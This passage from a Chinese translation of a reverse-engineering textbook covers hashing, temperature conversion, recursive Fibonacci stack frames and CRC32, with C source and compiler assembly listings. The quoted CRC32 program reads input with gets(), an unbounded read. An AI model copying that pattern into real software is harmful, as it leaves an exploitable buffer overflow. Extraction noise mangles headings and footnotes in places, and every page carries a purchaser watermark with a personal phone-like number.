发生的缓冲区溢出经常会覆盖堆空间的数据结构体。堆空间管理不当还会发生内存泄露问题:所 有被分配的堆空间都应当被明确地释放,否则就会出现内存泄露问题。但是程序员可能会出现“忘 记释放堆空间”的问题,还有发生释放不彻底的问题。另外,“在调用 free()函数释放空间之后再 次直接使用这块内存区域”的指令同样会带来非常严重的安全问题(请参阅本书 21.2 节的案例)。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 3333 章 章 CCPPUU 33.1 分支预测 现在的主流编译器基本都不怎么分配条件转移指令了。本书的 12.1.2 节、12.3 节和 19.5.2 节的编译结 果都体现了这一特性。 虽然目前的分支预测功能并不完美,但是编译器还是在向这一方向发展。 ARM 平台出现的条件执行指令(例如 ADRcc)及 x86 平台出现的 CMOVcc 指令,都是这一趋势的 明证。 33.2 数据相关性 当代的 CPU 多数都能并行执行指令(OOE/乱序执行技术)。但是,要充分利用 CPV 的乱序执行功能、 尽可能频繁地同期执行多条指令,首先就要降低各指令之间的数据相关性。所以,编译器尽可能地分配那 些不怎么影响 CPU 标识的指令。 因为 LEA 指令并不像其他数学运算指令那样影响标识位,所以编译器越来越多地使用这种指令。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 3344 章 章 哈 哈 希 希 函 函 数 数 哈希(hash)函数能够生成可靠程度较高的校验和(Checksum),可充分满足数据检验的需要。CRC32 算法就是一种不太复杂的哈希算法。哈希值是一种固定长度的信息摘要,不可能根据哈希值逆向“推测” 出信息原文。所以,无论 CRC32 算法计算的信息原文有多长,它只能生成 32 位的校验和。但是从加密学 的角度看,我们可以轻易地伪造出满足同一 CRC32 哈希值的多个信息原文。当然,防止伪造就是加密哈希 函数(Cryptographic hash function)的任务了。 此外,人们普遍使用 MD5、SHA1 等哈希算法生成用户密码的摘要(哈希值),然后再把密码摘要存 储在数据库里。实际上网上论坛等涉及用户密码的数据库,存储的密码信息差不多都是用户密码的哈希值; 否则一旦发生数据库泄露等问题,入侵人员将能够轻易地获取密码原文。不仅如此,当用户登录网站的时 候,网络论坛等应用程序检验的也不是密码原文,它们检验的还是密码哈希值:如果用户名和密码哈希值 与数据库里的记录匹配,它将授予登录用户相应的访问权限。另外,常见的密码破解工具通常都是通过穷 举密码的方法,查找符合密码哈希值的密码原文而已。其他类型的密码破解工具就要复杂得多。 单向函数与不可逆算法 单向函数(one-way function))是一种具有下述特点的单射函数:对于每一个输入,函数值都容易计算 (多项式时间);但是根据函数值对原始输入进行逆向推算却比较困难(无法在多项式时间内使用确定性图 灵机计算)。本节着重讲解它的不可逆性。 假设函数的输入值是由 10 个介于 0~9 之间的数值构成的一组矢量,且矢量中的标量仅出现一次。 例如: 4 6 0 1 3 5 7 8 9 2 下列算法即可实现最简单的单项函数:  取第 0 位的值作为参数 1(本例而言是 4)。  取第 1 位的值作为参数 2(本例而言是 6)。  交换位于参数 1、2 位置处(第 4、6 位)的值。 本例中的第 4 位和第 6 位数字分别是: 4 6 0 1 3 5 7 8 9 2 ^ ^ 进行最终变换可得: 4 6 0 1 7 5 3 8 9 2 即使我们知道具体的算法和最终的函数值,我们也无法确定最初的输入值是什么。因为最初的位置参 数值可能是 0 也可能是 1,这两个参数可能会被交换位置。 以上只是对单向函数的一种简单说明。实际应用中的单向函数远比本例复杂。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第三 三部 部分 分 一 一些 些高 高级 级的 的例 例子 子 异步社区会员 dearfuture(15918834820) 专享 尊重版权 422 逆向工程权威指南 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 3355 章 章 温 温 度 度 转 转 换 换 入门级的编程书籍一般都介绍“华氏温度转换为摄氏温度”的例子。 从华氏度转换成摄氏度的计算公式为 5 ( 32) 9 F C ⋅ − = 笔者对程序添加了简单的出错处理: ① 输入的温度数必须正确。 ② 核查最终结果,确保不会出现绝对零度(−273℃)以下的摄氏温度值。这是中学物理学课本介绍 过的一个常识。 说明:调用函数 exit()会立即退出本程序,而且不会向调用方函数返回任何值。 35.1 整数值 #include <stdio.h> #include <stdlib.h> int main() { int celsius, fahr; printf ("Enter temperature in Fahrenheit:\n"); if (scanf ("%d", &fahr)!=1) { printf ("Error while parsing your input\n"); exit(0); }; celsius = 5 * (fahr-32) / 9; if (celsius<-273) { printf ("Error: incorrect temperature!\n"); exit(0); }; printf ("Celsius: %d\n", celsius); }; 35.1.1 x86 构架下 MSVC 2012 优化 指令清单 35.1 x86 构架下 MSVC 2012 优化 $SG4228 DB 'Enter temperature in Fahrenheit:', 0aH, 00H $SG4230 DB '%d', 00H $SG4231 DB 'Error while parsing your input', 0aH, 00H $SG4233 DB 'Error: incorrect temperature!', 0aH, 00H $SG4234 DB 'Celsius: %d', 0aH, 00H _fahr$ = -4 ; size = 4 _main PROC push ecx push esi 异步社区会员 dearfuture(15918834820) 专享 尊重版权 424 逆向工程权威指南(上册) mov esi, DWORD PTR __imp__printf push OFFSET $SG4228 ; 'Enter temperature in Fahrenheit:' call esi ; call printf() lea eax, DWORD PTR _fahr$[esp+12] push eax push OFFSET $SG4230 ; '%d' call DWORD PTR __imp__scanf add esp, 12 ; 0000000cH cmp eax, 1 je SHORT $LN2@main push OFFSET $SG4231 ; 'Error while parsing your input' call esi ; call printf() add esp, 4 push 0 call DWORD PTR __imp__exit $LN9@main: $LN2@main: mov eax, DWORD PTR _fahr$[esp+8] add eax, -32 ; ffffffe0H lea ecx, DWORD PTR [eax+eax*4] mov eax, 954437177 ; 38e38e39H imul ecx sar edx, 1 mov eax, edx shr eax, 31 ; 0000001fH add eax, edx cmp eax, -273 ; fffffeefH jge SHORT $LN1@main push OFFSET $SG4233 ; 'Error: incorrect temperature!' call esi ; call printf() add esp, 4 push 0 call DWORD PTR __imp__exit $LN10@main: $LN1@main: push eax push OFFSET $SG4234 ; 'Celsius: %d' call esi ; call printf() add esp, 8 ; return 0 - by C99 standard xor eax, eax pop esi pop ecx ret 0 $LN8@main: _main ENDP 必须说明的是:  程序首先把 printf()函数的内存地址保存到 ESI 寄存器。在此之后,只要调用“CALL ESI”指令即 可调用 prinf()函数了。这是非常常见的编译技术,或许是为了方便后续程序频繁调用这个函数, 或许是因为还有“不用白不用”的空闲寄存器。  使用加法 ADD 而不使用减法 SUB。我们注意到程序中有一行指令是“ADD EAX,−32”,它用来实现 从 EAX 寄存器中减去 32 的目的。程序没有采用指令“SUB EAX,32”,也就是说程序使用了 EAX=EAX+(−32)的算法,而没采用 EAX=EAX−32 的算法。是不是值得这么做,笔者并不能完全确定。  为了实现“乘以 5”的运算而使用了 LEA 指令:“lea ecx,DWORD PTR[eax+eax*4]”使得“i+i*4” 和“i*5”是相等的。但是指令 LEA 运行速度比 IMUL 快。另外还可以使用指令对——SHL EAX,2 和 ADD EAX,EAX 来代替。确实有些编译器是这样做的。  这里也用到了用乘法来代替除法的技巧。参见第 41 章。  如果主函数 main()没有明确的返回值,在程序退出时,它的返回值为 0。C99 标准中标明“如果 main() 函数没有通过明确的 return 指令声明其返回值,那么它将默认返回 0”。当然这项规则仅仅适用于主 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 35 章 温 度 转 换 425 函数 main()。虽然 MSVC 并未声称它完全遵循 C99 标准,但是或许它部分遵循了这一标准吧。这 里指的 C99 标准是 ISO07,P.5.1.2.2.3。 35.1.2 x64 构架下的 MSVC 2012 优化 x64 的代码和 x86 的代码大体相同。只是每次调用 exit()函数之后,都有一个 INT 3 指令。 xor ecx, ecx call QWORD PTR __imp_exit int 3 INT 3 是调试器 debugger 的断点设置指令。 当程序执行 exit()函数之后,它就不会再返回到原程序,而是直接退出了。编译器大概认为,在发生异 常退出的情况下,通常人们应当使用调试器分析异常情况吧。 35.2 浮点数运算 #include <stdio.h> #include <stdlib.h> int main() { double celsius, fahr; printf ("Enter temperature in Fahrenheit:\n"); if (scanf ("%lf", &fahr)!=1) { printf ("Error while parsing your input\n"); exit(0); }; celsius = 5 * (fahr-32) / 9; if (celsius<-273) { printf ("Error: incorrect temperature!\n"); exit(0); }; printf ("Celsius: %lf\n", celsius); }; MSVC 2010 x86 采用的是 FPU 指令。 指令清单 35.2 MSVC 2010 x86 优化 $SG4038 DB 'Enter temperature in Fahrenheit:', 0aH, 00H $SG4040 DB '%lf', 00H $SG4041 DB 'Error while parsing your input', 0aH, 00H $SG4043 DB 'Error: incorrect temperature!', 0aH, 00H $SG4044 DB 'Celsius: %lf', 0aH, 00H __real@c071100000000000 DQ 0c071100000000000r ; -273 __real@4022000000000000 DQ 04022000000000000r ; 9 __real@4014000000000000 DQ 04014000000000000r ; 5 __real@4040000000000000 DQ 04040000000000000r ; 32 _fahr$ = -8 ; size = 8 _main PROC sub esp, 8 push esi mov esi, DWORD PTR __imp__printf push OFFSET $SG4038 ; 'Enter temperature in Fahrenheit:' call esi ; call printf() 异步社区会员 dearfuture(15918834820) 专享 尊重版权 426 逆向工程权威指南(上册) lea eax, DWORD PTR _fahr$[esp+16] push eax push OFFSET $SG4040 ; '%lf' call DWORD PTR __imp__scanf add esp, 12 ; 0000000cH cmp eax, 1 je SHORT $LN2@main push OFFSET $SG4041 ; 'Error while parsing your input' call esi ; call printf() add esp, 4 push 0 call DWORD PTR __imp__exit $LN2@main: fld QWORD PTR _fahr$[esp+12] fsub QWORD PTR __real@4040000000000000 ; 32 fmul QWORD PTR __real@4014000000000000 ; 5 fdiv QWORD PTR __real@4022000000000000 ; 9 fld QWORD PTR __real@c071100000000000 ; -273 fcomp ST(1) fnstsw ax test ah, 65 ; 00000041H jne SHORT $LN1@main push OFFSET $SG4043 ; 'Error: incorrect temperature!' fstp ST(0) call esi ; call printf() add esp, 4 push 0 call DWORD PTR __imp__exit $LN1@main: sub esp, 8 fstp QWORD PTR [esp] push OFFSET $SG4044 ; 'Celsius: %lf' call esi add esp, 12 ; 0000000cH ; return 0 - by C99 standard xor eax, eax pop esi add esp, 8 ret 0 $LN10@main: _main ENDP 但 MSVC 2012 分配的却是 SIMD 指令。 指令清单 35.3 MSVC 2012 x86 优化 $SG4228 DB 'Enter temperature in Fahrenheit:', 0aH, 00H $SG4230 DB '%lf', 00H $SG4231 DB 'Error while parsing your input', 0aH, 00H $SG4233 DB 'Error: incorrect temperature!', 0aH, 00H $SG4234 DB 'Celsius: %lf', 0aH, 00H __real@c071100000000000 DQ 0c071100000000000r ; -273 __real@4040000000000000 DQ 04040000000000000r ; 32 __real@4022000000000000 DQ 04022000000000000r ; 9 __real@4014000000000000 DQ 04014000000000000r ; 5 _fahr$ = -8 ; size = 8 _main PROC sub esp, 8 push esi mov esi, DWORD PTR __imp__printf push OFFSET $SG4228 ; 'Enter temperature in Fahrenheit:' call esi ; call printf() lea eax, DWORD PTR _fahr$[esp+16] push eax push OFFSET $SG4230 ; '%lf' 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 35 章 温 度 转 换 427 call DWORD PTR __imp__scanf add esp, 12 ; 0000000cH cmp eax, 1 je SHORT $LN2@main push OFFSET $SG4231 ; 'Error while parsing your input' call esi ; call printf() add esp, 4 push 0 call DWORD PTR __imp__exit $LN9@main: $LN2@main: movsd xmm1, QWORD PTR _fahr$[esp+12] subsd xmm1, QWORD PTR __real@4040000000000000 ; 32 movsd xmm0, QWORD PTR __real@c071100000000000 ; -273 mulsd xmm1, QWORD PTR __real@4014000000000000 ; 5 divsd xmm1, QWORD PTR __real@4022000000000000 ; 9 comisd xmm0, xmm1 jbe SHORT $LN1@main push OFFSET $SG4233 ; 'Error: incorrect temperature!' call esi ; call printf() add esp, 4 push 0 call DWORD PTR __imp__exit $LN10@main: $LN1@main: sub esp, 8 movsd QWORD PTR [esp], xmm1 push OFFSET $SG4234 ; 'Celsius: %lf' call esi ; call printf() add esp, 12 ; 0000000cH ; return 0 - by C99 standard xor eax, eax pop esi add esp, 8 ret 0 $LN8@main: _main ENDP 当然,x86 的指令集确实支持 SIMD 指令,浮点数运算也毫无问题。大概是这种方式的计算指令比较 简单,所以微软的编译器分配了 SIMD 指令。 我们还注意到绝对零度−273,早早地就导入了寄存器 XMM0。这也没关系,编译器不是按照源代码的 书写顺序分配的汇编指令。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 3366 章 章 斐 斐波 波拉 拉契 契数 数列 列 在计算机编程方面的教科书里,我们通常都能找到 Fibonacci 数列(斐波拉契数列)(以下简称为 “Fibonacci”)的生成函数。其实这种数列编排的规则非常简单:从第三项开始,后续数字为前两项数字之 和。头两项一般为 0 和 1;也有头两项都是 1 的情况。因此,常见的 Fibonacci 数列大致如下: 0; 1; 1; 2; 3; 5; 8; 13; 21; 34; 55; 89; 144; 233; 377; 610; 987; 1597; 2584; 4181… 36.1 例子 1 Fibonacci 的实现方法比较简单。举例来说,下面这个程序可以生成数值不超过 21 的数列各项: #include <stdio.h> void fib (int a, int b, int limit) { printf ("%d\n", a+b); if (a+b > limit) return; fib (b, a+b, limit); }; int main() { printf ("0\n1\n1\n"); fib (1, 1, 20); }; 指令清单 36.1 MSVC 2010 x86 _TEXT SEGMENT _a$ = 8 ; size = 4 _b$ = 12 ; size = 4 _limit$ = 16 ; size = 4 _fib PROC push ebp mov ebp, esp mov eax, DWORD PTR _a$[ebp] add eax, DWORD PTR _b$[ebp] push eax push OFFSET $SG2750 ; "%d" call DWORD PTR __imp__printf add esp, 8 mov ecx, DWORD PTR _limit$[ebp] push ecx mov edx, DWORD PTR _a$[ebp] add edx, DWORD PTR _b$[ebp] push edx mov eax, DWORD PTR _b$[ebp] push eax call _fib add esp, 12 pop ebp ret 0 _fib ENDP 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 36 章 斐波拉契数列 429 _main PROC push ebp mov ebp, esp push OFFSET $SG2753 ; "0\n1\n1\n" call DWORD PTR __imp__printf add esp, 4 push 20 push 1 push 1 call _fib add esp, 12 xor eax, eax pop ebp ret 0 _main ENDP 我们重点分析这个程序的栈结构。 我们在 OllyDbg 中加载本例生成的可执行程序,并跟踪到调用 f()函数的那条指令,如图 36.1 所示。 图 36.1 OllyDbg 最后一个函数 f() 让我们来仔细分析栈里的内容。在下面的程序行中,笔者用打括弧的方法加了两个注释。一个是main() 为f1()做准备,另外一个是CRT为main()做准备 ① ① 在 OllyDbg 中,可以选择多项指令,再使用 Ctrl+C 组合键把它们复制到剪切板中。本例就是这样做的。 。 0035F940 00FD1039 RETURN to fib.00FD1039 from fib.00FD1000 0035F944 00000008 1st argument: a 0035F948 0000000D 2nd argument: b 0035F94C 00000014 3rd argument: limit 0035F950 /0035F964 saved EBP register 0035F954 |00FD1039 RETURN to fib.00FD1039 from fib.00FD1000 0035F958 |00000005 1st argument: a 0035F95C |00000008 2nd argument: b 0035F960 |00000014 3rd argument: limit 0035F964 ]0035F978 saved EBP register 异步社区会员 dearfuture(15918834820) 专享 尊重版权 430 逆向工程权威指南(上册) 0035F968 |00FD1039 RETURN to fib.00FD1039 from fib.00FD1000 0035F96C |00000003 1st argument: a 0035F970 |00000005 2nd argument: b 0035F974 |00000014 3rd argument: limit 0035F978 ]0035F98C saved EBP register 0035F97C |00FD1039 RETURN to fib.00FD1039 from fib.00FD1000 0035F980 |00000002 1st argument: a 0035F984 |00000003 2nd argument: b 0035F988 |00000014 3rd argument: limit 0035F98C ]0035F9A0 saved EBP register 0035F990 |00FD1039 RETURN to fib.00FD1039 from fib.00FD1000 0035F994 |00000001 1st argument: a 0035F998 |00000002 2nd argument: b 0035F99C |00000014 3rd argument: limit 0035F9A0 ]0035F9B4 saved EBP register 0035F9A4 |00FD105C RETURN to fib.00FD105C from fib.00FD1000 0035F9A8 |00000001 1st argument: a \ 0035F9AC |00000001 2nd argument: b | prepared in main() for f1() 0035F9B0 |00000014 3rd argument: limit / 0035F9B4 ]0035F9F8 saved EBP register 0035F9B8 |00FD11D0 RETURN to fib.00FD11D0 from fib.00FD1040 0035F9BC |00000001 main() 1st argument: argc \ 0035F9C0 |006812C8 main() 2nd argument: argv | prepared in CRT for main() 0035F9C4 |00682940 main() 3rd argument: envp / 本例属于递归函数 ① 36.2 例子 2 。递归函数的栈一般都是这样的“三明治”结构。在上述程序中,limit(阈值) 参数总是保持不变(十六进制的 14,也就是十进制的 20),而两个参数a和b在每次调用函数的时候都是不 同的值。此外栈也存储了RA和保存EBP(扩展堆栈指针)的值。OllyDbg能基于EBP的值判断栈的存储结 构,因此它能够用括弧标注栈帧。换而言之,在每个括弧里的一组数值都形成了一个相对独立的栈结构, 即栈帧(stack frame)。栈帧就是每次函数调用期间的数据实体。另一方面,即使从纯萃技术方面看每个被 调用方函数确实可以访问栈帧之外的栈存储空间,但是正常情况下不应当访问栈帧之外的数据(当然除了 获取函数参数的操作以外)。对于没有bug(缺陷)的函数来说,上述命题的确成立。每一个 EBP值都是前 一个栈帧的地址。因此调试程序能够把数据栈识别为栈帧,并能识别出每次调用函数时传递的参数值。 结合上述指令可知,递归函数应当为下一轮的自身调用制备各项参数。 在程序的最后部分,main()有 3 个参数。其中 argc(参数总数)为 1。确实如此,笔者的确未带参数直 接运行并调试本程序。 另外,调整本程序、引发栈溢出的过程并不复杂:我们只需要删除或者注释掉阈值 limit 判断语句,即可 导致栈溢出(即错误编号为 0xC00000FD 的异常错误)。 上一节的函数有些冗余。接下来,我们增加一个新的局部变量 next,并用它来代替所有程序中的 a+b: #include <stdio.h> void fib (int a, int b, int limit) { int next=a+b; printf ("%d\n", next); if (next > limit) return; fib (b, next, limit); }; int main() ① 也就是自己调用自己。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 36 章 斐波拉契数列 431 { printf ("0\n1\n1\n"); fib (1, 1, 20); }; 这是非优化 MSVC 的输出,因此 next 变量确实是在本地栈中分配存储空间。 指令清单 36.2 MSVC 2010 x86 _next$ = -4 ; size = 4 _a$ = 8 ; size = 4 _b$ = 12 ; size = 4 _limit$ = 16 ; size = 4 _fib PROC push ebp mov ebp, esp push ecx mov eax, DWORD PTR _a$[ebp] add eax, DWORD PTR _b$[ebp] mov DWORD PTR _next$[ebp], eax mov ecx, DWORD PTR _next$[ebp] push ecx push OFFSET $SG2751 ; '%d' call DWORD PTR __imp__printf add esp, 8 mov edx, DWORD PTR _next$[ebp] cmp edx, DWORD PTR _limit$[ebp] jle SHORT $LN1@fib jmp SHORT $LN2@fib $LN1@fib: mov eax, DWORD PTR _limit$[ebp] push eax mov ecx, DWORD PTR _next$[ebp] push ecx mov edx, DWORD PTR _b$[ebp] push edx call _fib add esp, 12 $LN2@fib: mov esp, ebp pop ebp ret 0 _fib ENDP _main PROC push ebp mov ebp, esp push OFFSET $SG2753 ; "0\n1\n1\n" call DWORD PTR __imp__printf add esp, 4 push 20 push 1 push 1 call _fib add esp, 12 xor eax, eax pop ebp ret 0 _main ENDP 我们再来调用 OllyDbg,如图 36.2 所示。 现在,每个栈帧里都有一个变量 next。 我们来仔细看看堆栈。笔者依然给其中增加了注释。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 432 逆向工程权威指南(上册) 图 36.2 OllyDbg: 最后调用 f() 0029FC14 00E0103A RETURN to fib2.00E0103A from fib2.00E01000 0029FC18 00000008 1st argument: a 0029FC1C 0000000D 2nd argument: b 0029FC20 00000014 3rd argument: limit 0029FC24 0000000D "next" variable 0029FC28 /0029FC40 saved EBP register 0029FC2C |00E0103A RETURN to fib2.00E0103A from fib2.00E01000 0029FC30 |00000005 1st argument: a 0029FC34 |00000008 2nd argument: b 0029FC38 |00000014 3rd argument: limit 0029FC3C |00000008 "next" variable 0029FC40 ]0029FC58 saved EBP register 0029FC44 |00E0103A RETURN to fib2.00E0103A from fib2.00E01000 0029FC48 |00000003 1st argument: a 0029FC4C |00000005 2nd argument: b 0029FC50 |00000014 3rd argument: limit 0029FC54 |00000005 "next" variable 0029FC58 ]0029FC70 saved EBP register 0029FC5C |00E0103A RETURN to fib2.00E0103A from fib2.00E01000 0029FC60 |00000002 1st argument: a 0029FC64 |00000003 2nd argument: b 0029FC68 |00000014 3rd argument: limit 0029FC6C |00000003 "next" variable 0029FC70 ]0029FC88 saved EBP register 0029FC74 |00E0103A RETURN to fib2.00E0103A from fib2.00E01000 0029FC78 |00000001 1st argument: a \ 0029FC7C |00000002 2nd argument: b | prepared in f1() for next f1() 0029FC80 |00000014 3rd argument: limit / 0029FC84 |00000002 "next" variable 0029FC88 ]0029FC9C saved EBP register 0029FC8C |00E0106C RETURN to fib2.00E0106C from fib2.00E01000 0029FC90 |00000001 1st argument: a \ 0029FC94 |00000001 2nd argument: b | prepared in main() for f1() 0029FC98 |00000014 3rd argument: limit / 0029FC9C ]0029FCE0 saved EBP register 0029FCA0 |00E011E0 RETURN to fib2.00E011E0 from fib2.00E01050 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 36 章 斐波拉契数列 433 0029FCA4 |00000001 main() 1st argument: argc \ 0029FCA8 |000812C8 main() 2nd argument: argv | prepared in CRT for main() 0029FCAC |00082940 main() 3rd argument: envp / 这里我们看到:递归函数在每次调用期间都会计算并传递下一轮调用所需的函数参数。 36.3 总结 递归函数只是看起来很帅而已。从技术上讲,递归函数在栈方面的开销过大,因而性能不怎么理想。 注重性能指标的应用程序,应当避免使用递归函数。 笔者曾经编写过一个遍历二叉树、搜索既定节点的应用程序。把它写成递归函数的时候,整个程序确 实又清爽又有条理性。但是每次函数调用都得进行赋值、回调,这使得递归函数比其他类型的函数慢了数 倍。 另外,部分PL ① ① PL:Program Language(编程语言)。LISP、Python、Lua 等编程语言的编译器能够进行尾部调用优化。详情请参阅 https://en. wikipedia.org/wiki/Tail_call 编译器会对递归调用采取“尾部调用”的优化方法,以减轻栈的各种开销。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 3377 章 章 CCRRCC3322 计 计算 算的 的例 例子 子 本章介绍一个基于表查询技术实现的CRC32 校验值的计算程序: ① ① 源代码来源于 /* By Bob Jenkins, (c) 2006, Public Domain */ #include <stdio.h> #include <stddef.h> #include <string.h> typedef unsigned long ub4; typedef unsigned char ub1; static const ub4 crctab[256] = { 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d, http://go.yurichev.com/17327。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 37 章 CRC32 计算的例子 435 }; /* how to derive the values in crctab[] from polynomial 0xedb88320 */ void build_table() { ub4 i, j; for (i=0; i<256; ++i) { j = i; j = (j>>1) ^ ((j&1) ? 0xedb88320 : 0); j = (j>>1) ^ ((j&1) ? 0xedb88320 : 0); j = (j>>1) ^ ((j&1) ? 0xedb88320 : 0); j = (j>>1) ^ ((j&1) ? 0xedb88320 : 0); j = (j>>1) ^ ((j&1) ? 0xedb88320 : 0); j = (j>>1) ^ ((j&1) ? 0xedb88320 : 0); j = (j>>1) ^ ((j&1) ? 0xedb88320 : 0); j = (j>>1) ^ ((j&1) ? 0xedb88320 : 0); printf("0x%.8lx, ", j); if (i%6 == 5) printf("\n"); } } /* the hash function */ ub4 crc(const void *key, ub4 len, ub4 hash) { ub4 i; const ub1 *k = key; for (hash=len, i=0; i<len; ++i) hash = (hash >> 8) ^ crctab[(hash & 0xff) ^ k[i]]; return hash; } /* To use, try "gcc -O crc.c -o crc; crc < crc.c" */ int main() { char s[1000]; while (gets(s)) printf("%.8lx\n", crc(s, strlen(s), 0)); return 0; } 我们这里只关心校验函数 crc()的详细细节。另外,请注意 for()语句的两个初始指令“hash=len”和“i=0”。 当然,在 C/C++语言里,我们可以一次指定两条循环初始指令。在最终的汇编指令层面,也就会出现两条初 始化指令,而不会是一条指令。 下面我们采用优化的方式(/0x)来编译。为简化起见,这里只列出 crc()函数,同时还增加了笔者的注释。 _key$ = 8 ; size = 4 _len$ = 12 ; size = 4 _hash$ = 16 ; size = 4 _crc PROC mov edx, DWORD PTR _len$[esp-4] xor ecx, ecx ; i will be stored in ECX mov eax, edx test edx, edx jbe SHORT $LN1@crc push ebx push esi mov esi, DWORD PTR _key$[esp+4] ; ESI = key push edi $LL3@crc: ; work with bytes using only 32-bit registers. byte from address key+i we store into EDI movzx edi, BYTE PTR [ecx+esi] mov ebx, eax ; EBX = (hash = len) and ebx, 255 ; EBX = hash & 0xff 异步社区会员 dearfuture(15918834820) 专享 尊重版权 436 逆向工程权威指南(上册) ; XOR EDI, EBX (EDI=EDI^EBX) - this operation uses all 32 bits of each register ; but other bits (8-31) are cleared all time, so its OK' ; these are cleared because, as for EDI, it was done by MOVZX instruction above ; high bits of EBX was cleared by AND EBX, 255 instruction above (255 = 0xff) xor edi, ebx ; EAX=EAX>>8; bits 24-31 taken "from nowhere" will be cleared shr eax, 8 ; EAX=EAX^crctab[EDI*4] - choose EDI-th element from crctab[] table xor eax, DWORD PTR _crctab[edi*4] inc ecx ; i++ cmp ecx, edx ; i<len ? jb SHORT $LL3@crc ; yes pop edi pop esi pop ebx $LN1@crc: ret 0 _crc ENDP 在 GCC 4.4.1 环境下,启用优化选项-03 编译,可得到的下述代码。 public crc crc proc near key = dword ptr 8 hash = dword ptr 0Ch push ebp xor edx, 